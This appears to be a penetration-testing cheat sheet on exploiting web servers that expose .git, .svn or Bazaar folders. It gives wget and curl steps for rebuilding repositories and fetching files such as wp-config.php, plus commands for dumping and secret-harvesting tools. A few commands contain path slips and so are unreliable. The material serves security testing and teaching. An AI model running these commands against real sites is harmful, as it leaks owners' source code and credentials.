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244 lines
9.4 KiB
Markdown
244 lines
9.4 KiB
Markdown
# Insecure source code management
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- [GIT - Source code management](#git---source-code-management)
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- [Github example with a .git](#github-example-with-a-git)
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- [Recovering the content of .git/index](#recovering-the-content-of-gitindex)
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- [Automatic way : diggit.py](#automatic-way--diggitpy)
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- [Automatic way : GoGitDumper](#automatic-way-gogitdumper)
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- [Automatic way : rip-git](#automatic-way--rip-git)
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- [Automatic way : GitHack](#automatic-way--githack)
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- [Harvesting secrets : trufflehog](#harvesting-secrets--trufflehog)
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- [Harvesting secrets : Gitrob](#harvesting-secrets--gitrob)
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- [Harvesting secrets : Gitleaks](#harvesting-secrets--gitleaks)
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- [SVN - Source code management](#svn---source-code-management)
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- [SVN example (Wordpress)](#svn-example-wordpress)
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- [Automatic way : svn-extractor](#automatic-way--svn-extractor)
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- [BAZAAR - Source code management](#bazaar---source-code-management)
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- [Automatic way : rip-bzr](#automatic-way--rip-bzr)
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- [Automatic way : bzr_dumper](#automatic-way--bzr_dumper)
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## GIT - Source code management
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The following examples will create either a copy of the .git or a copy of the current commit.
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Check for the following files, if they exist you can extract the .git folder.
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- .git/config
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- .git/HEAD
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- .git/logs/HEAD
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### Github example with a .git
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1. Check 403 error (Forbidden) for .git or even better : a directory listing
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2. Git saves all informations in log file .git/logs/HEAD (try 'head' in lowercase too)
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```powershell
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0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
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15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
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26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
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6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
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```
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3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,
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```powershell
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# create a .git directory
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git init test
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cd test/.git
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# download the file
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wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
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mkdir .git/object/26
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mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
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# display the content of the file
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git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
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tree 323240a3983045cdc0dec2e88c1358e7998f2e39
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parent 15ca375e54f056a576905b41a417b413c57df6eb
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author Michael <michael@easyctf.com> 1489390329 +0000
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committer Michael <michael@easyctf.com> 1489390329 +0000
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Initial.
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```
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4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
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```powershell
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wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
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mkdir .git/object/32
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mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
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git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
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040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
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100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
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040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
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100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
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040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
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```
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5. Read the data (flag.txt)
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```powershell
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wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
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mkdir .git/object/cb
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mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
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git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
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```
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### Recovering the content of .git/index
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Use the git index file parser, using python3 https://pypi.python.org/pypi/gin
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```powershell
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pip3 install gin
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gin ~/git-repo/.git/index
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```
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Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file.
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```powershell
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$ gin .git/index | egrep -e "name|sha1"
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name = AWS Amazon Bucket S3/README.md
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sha1 = 862a3e58d138d6809405aa062249487bee074b98
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name = CRLF injection/README.md
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sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
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```
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### Automatic way : diggit.py
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```powershell
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./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
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./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
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-u is remote path, where .git folder exists
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-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
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-o is a hash of particular Git object to download
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```
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### Automatic way : GoGitDumper
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```powershell
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go get github.com/c-sto/gogitdumper
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gogitdumper -u http://urlhere.com/.git/ -o yourdecideddir/.git/
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git log
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git checkout
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```
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### Automatic way : rip-git
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```powershell
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perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"
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git cat-file -p 07603070376d63d911f608120eb4b5489b507692
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tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
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parent 15ca375e54f056a576905b41a417b413c57df6eb
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author Michael <michael@easyctf.com> 1489389105 +0000
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committer Michael <michael@easyctf.com> 1489389105 +0000
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git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
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```
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### Automatic way : GitHack
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```powershell
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git clone https://github.com/lijiejie/GitHack
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GitHack.py http://www.openssl.org/.git/
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```
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### Harvesting secrets : trufflehog
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> Searches through git repositories for high entropy strings and secrets, digging deep into commit history
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```powershell
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pip install truffleHog # https://github.com/dxa4481/truffleHog
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truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
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```
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### Harvesting secrets : Gitrob
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> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
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```powershell
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go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
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export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
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gitrob [options] target [target2] ... [targetN]
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```
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### Harvesting secrets - Gitleaks
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> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
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```powershell
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# Run gitleaks against a public repository
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docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
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# Run gitleaks against a local repository already cloned into /tmp/
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docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
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# Run gitleaks against a specific Github Pull request
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docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
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or
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go get -u github.com/zricethezav/gitleaks
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```
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## SVN - Source code management
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### SVN example (Wordpress)
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```powershell
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curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
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```
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1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
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```powershell
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INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
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```
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2. Download interesting files
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* remove \$sha1\$ prefix
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* add .svn-base postfix
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* use first two signs from hash as folder name inside pristine/ directory (94 in this case)
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* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
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### Automatic way : svn-extractor
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```powershell
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git clone https://github.com/anantshri/svn-extractor.git
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python svn-extractor.py –url "url with .svn available"
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```
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## BAZAAR - Source code management
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### Automatic way : rip-bzr.pl
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```powershell
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wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
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docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-git.pl -v -u
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```
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### Automatic way : bzr_dumper
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```powershell
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git clone https://github.com/SeahunOh/bzr_dumper
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python3 dumper.py -u "http://127.0.0.1:5000/" -o source
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Created a standalone tree (format: 2a)
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[!] Target : http://127.0.0.1:5000/
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[+] Start.
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[+] GET repository/pack-names
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[+] GET README
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[+] GET checkout/dirstate
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[+] GET checkout/views
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[+] GET branch/branch.conf
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[+] GET branch/format
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[+] GET branch/last-revision
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[+] GET branch/tag
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[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
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[*] Finish
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$ bzr revert
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N application.py
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N database.py
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N static/
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```
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## References
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- [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
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- [bl4de, diggit](https://github.com/bl4de/security-tools/tree/master/diggit)
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- [Gitrob: Now in Go - Michael Henriksen](https://michenriksen.com/blog/gitrob-now-in-go/)
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